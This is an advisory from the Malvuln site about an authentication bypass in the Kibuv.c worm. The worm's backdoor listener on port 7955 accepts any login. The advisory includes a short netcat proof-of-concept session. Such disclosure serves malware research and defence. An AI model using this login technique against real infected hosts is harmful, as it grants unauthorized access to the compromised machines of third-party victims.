Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/4243911d5ca5655d04de8895704fcae6.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Net-Worm.Win32.Kibuv.c Vulnerability: Authentication Bypass Description: The malware listens on TCP port 7955. Third-party adversaries who can reach infected systems can logon using any username/password combination. Family: Kibuv Type: PE32 MD5: 4243911d5ca5655d04de8895704fcae6 Vuln ID: MVID-2022-0563 Disclosure: 04/26/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 7955 220 StnyFtpd 0wns j0 USER malvuln 331 Password required PASS malvuln 230 User logged in. SYST 215 StnyFtpd Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).